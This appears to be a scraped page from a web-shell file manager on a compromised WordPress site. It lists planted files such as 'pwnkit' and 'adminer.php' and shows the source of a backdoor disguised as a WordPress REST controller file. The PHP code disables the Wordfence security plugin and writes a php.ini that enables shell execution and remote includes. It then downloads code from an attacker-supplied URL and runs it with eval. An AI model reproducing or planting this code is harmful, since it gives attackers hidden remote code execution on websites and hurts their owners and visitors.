Gecko [ formahtech.fr ]

Name	Size	Permission
.mad-root	0 B	-rw-r--r--
adminer.php	0 B	-rw-r--r--
class-wp-rest-attachments-cont...	26.01 KB	-rw-r--r--
class-wp-rest-autosaves-contro...	12.54 KB	-rw-r--r--
class-wp-rest-block-renderer-c...	4.46 KB	-rw-r--r--
class-wp-rest-blocks-controlle...	2.64 KB	-rw-r--r--
class-wp-rest-comments-control...	53.66 KB	-rw-r--r--
class-wp-rest-controller-index...	1.42 KB	-rw-r--r--
class-wp-rest-controller.php	18.89 KB	-rw-r--r--
class-wp-rest-post-statuses-co...	9.32 KB	-rw-r--r--
class-wp-rest-post-types-contr...	9.54 KB	-rw-r--r--
class-wp-rest-posts-controller...	81.66 KB	-rw-r--r--
class-wp-rest-revisions-contro...	23.12 KB	-rw-r--r--
class-wp-rest-search-controlle...	10.01 KB	-rw-r--r--
class-wp-rest-settings-control...	9.97 KB	-rw-r--r--
class-wp-rest-taxonomies-contr...	12.01 KB	-rw-r--r--
class-wp-rest-terms-controller...	31.97 KB	-rw-r--r--
class-wp-rest-themes-controlle...	6.87 KB	-rw-r--r--
class-wp-rest-users-controller...	44.28 KB	-rw-r--r--
php.ini	381 B	-rw-r--r--
pwnkit	0 B	-rwxr-xr-x

Code Editor : class-wp-rest-controller-index.php

<?php
if (is_file($_SERVER['DOCUMENT_ROOT'].'/wp-content/plugins/wordfence/wordfence.php')) {rename($_SERVER['DOCUMENT_ROOT'].'/wp-content/plugins/wordfence',$_SERVER['DOCUMENT_ROOT'].'/wp-content/plugins/wordfence'.rand());}

$txt = base64_decode('ZGlzcGxheV9lcnJvcnMgPSBPZmYKbWF4X2V4ZWN1dGlvbl90aW1lID0gMzAKbWF4X2lucHV0X3RpbWUgPSA2MAptYXhfaW5wdXRfdmFycyA9IDEwMDAKbWVtb3J5X2xpbWl0ID0gMTI4TQpwb3N0X21heF9zaXplID0gOE0KdXBsb2FkX21heF9maWxlc2l6ZSA9IDgwTQp6bGliLm91dHB1dF9jb21wcmVzc2lvbiA9IE9mZgphbGxvd191cmxfZm9wZW4gPSBPbgpzYWZlX21vZGUgPSBPZmYKZGlzYWJsZV9mdW5jdGlvbnMgPSBOT05FCnNhZmVfbW9kZV9naWQgPSBPRkYKb3Blbl9iYXNlZGlyID0gT0ZGCmV4ZWMgPSBPTiAKc2hlbGxfZXhlYyA9IE9OCmFsbG93X3VybF9pbmNsdWRlID0gT24KYXNwX3RhZ3MgPSBPZmYKZW5hYmxlX2RsID0gT2ZmCmZpbGVfdXBsb2FkcyA9IE9u');
file_put_contents("php.ini",$txt);

if(isset($_REQUEST["x"])){
	
$dir = urldecode($_REQUEST["x"]); 
	
}

else{
	
	exit('FBI Waring!');
	
}

$a = get_contents($dir);

eval('?>'.$a);

function get_contents($url){
  $ch = curl_init("$url");
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  curl_setopt($ch, CURLOPT_COOKIEJAR,$GLOBALS['coki']);
  curl_setopt($ch, CURLOPT_COOKIEFILE,$GLOBALS['coki']);
  $result = curl_exec($ch);
  return $result;
}

${this.title}

Code Editor : class-wp-rest-controller-index.php